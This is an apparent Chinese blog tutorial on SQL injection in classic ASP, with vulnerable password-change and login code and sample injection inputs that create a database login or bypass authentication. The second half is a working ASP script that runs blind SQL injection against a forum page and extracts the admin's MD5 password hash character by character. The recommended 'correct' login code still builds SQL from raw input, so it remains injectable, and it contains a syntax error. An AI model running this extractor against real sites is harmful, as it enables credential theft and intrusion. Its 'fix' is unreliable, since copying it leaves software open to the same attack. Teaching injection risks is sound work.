SQL注入风险小例

在asp程序中,如果我们的程序设计不当,就有可能面临数据库被别人控制的危险 以下是一个简单的用户更改密码的代码 --------------------- username=request("user_name") pwd=request("pwd") username=replace(username,"'","''") pwd=replace(pwd,"'","''") sql="update tbl_test set pwd='" & pwd & "' where uid='" & username & "'" set rs=conn.execute (sql) -------------- 现在,假如我注册一个用户,用户名为 aa'; exec sp_addlogin 'haha 当该用户更改密码时(假设改为pp),会出现什么后果呢?? sql变为 update tbl_test set pwd='pp' where uid='aa' ; exec sp_addlogin 'haha' 结果是用户密码没有被修改,因为没有 aa这个用户,但在你的数据库中创建了一个登陆,新登陆名为 haha 将用户名稍加修改,实际上可以运行任何sql语句,任何sql系统过程而这一切都在你不知情的情况下发生的,实际上,上面的只是一个 示范,稍微修改一下用户名,我们可以做添加一个dba账号,删除所 有纪录,读取用户密码等越权操作。 解决的办法: 在你使用参数前,对参数进行严格检验,尤其是用户输入的参数 不但要对其数据类型,长度进行检查,还要对其内容进行检查。 我们再看一段代码。(用户登陆) username=request("user_name") pwd=request("pwd") username=replace(username,"'","''") pwd=replace(pwd,"'","''") sql="select uid,pwd from account where uid='" & username & "' and pwd='" & pwd "'" rs.open sql,conn,1,1 if not rs.eof then response.write rs(0) & "欢迎您,您已登陆成功" else response.write "登陆失败,错误的用户名或密码" end if ............ 以上程序的漏洞是显而易见的 我们可以以 用户名: admin 密码: a' or '1'='1 轻易以admin的账号登陆系统因为我们的sql 变为了 select uid,pwd from account where uid='admin' and pwd='a' or '1'='1' 显然 uid='admin' and pwd='a' or '1'='1'是恒为成立的所以 rs.eof 为false 正确的写法应为 sql="select uid,pwd from account where uid='" & username & "' and pwd='" & pwd "'" rs.open sql,conn,1,1 if rs(0)=username and rs(1)=pwd then response.write rs(0) & "欢迎您,您已登陆成功" else response.write "登陆失败,错误的用户名或密码" end if ----全文完--------

 

 

'请勿用于非法用途,本代码只是为了让广大asp爱好者明白原理,防范于未然。

function bytes2bstr(vin)
dim strreturn
dim i,thischarcode,nextcharcode
strreturn = ""
for i = 1 to lenb(vin)
thischarcode = ascb(midb(vin,i,1))
if thischarcode < &h80 then
strreturn = strreturn & chr(thischarcode)
else
nextcharcode = ascb(midb(vin,i+1,1))
strreturn = strreturn & chr(clng(thischarcode) * &h100 + cint(nextcharcode))
i = i + 1
end if
next
bytes2bstr = strreturn
end function

function gethttppage(url)
dim http
set http=createobject("msxml2.xmlhttp")
http.open "get",url,false
http.send()
if http.readystate<>4 then
exit function
end if
gethttppage=bytes2bstr(http.responsebody)
set http=nothing
if err.number<>0 then err.clear
end function

 

function regexptest(patrn, strng)
dim regex, retval ' 建立变量。
set regex = new regexp ' 建立正则表达式。
regex.pattern = patrn ' 设置模式。
regex.ignorecase = false ' 设置是否区分大小写。
regexptest = regex.test(strng) ' 执行搜索测试。
end function

 

password=""
keyword="论坛首页"'返回正确页面会出现的字符串
url1="http://qq/bbs/list.asp?boardid=7"'sql注入入口
passlen=32'md5密码通常是32位
dim pass
pass=array(48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102)'密码值通常是0-9,a-f

 

server.scripttimeout=999
for i=1 to passlen
flag=false
url=url1&" and (select asc(mid(password,"&i&",1)) from admin where id>0)="'构造的sql语句这里才是关键
for j=0 to ubound(pass)
str=gethttppage(url&pass(j))
flag=regexptest(keyword,str)
if flag=true then
password=password&chr(pass(j))
exit for
end if
next
next

 

response.write(password)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值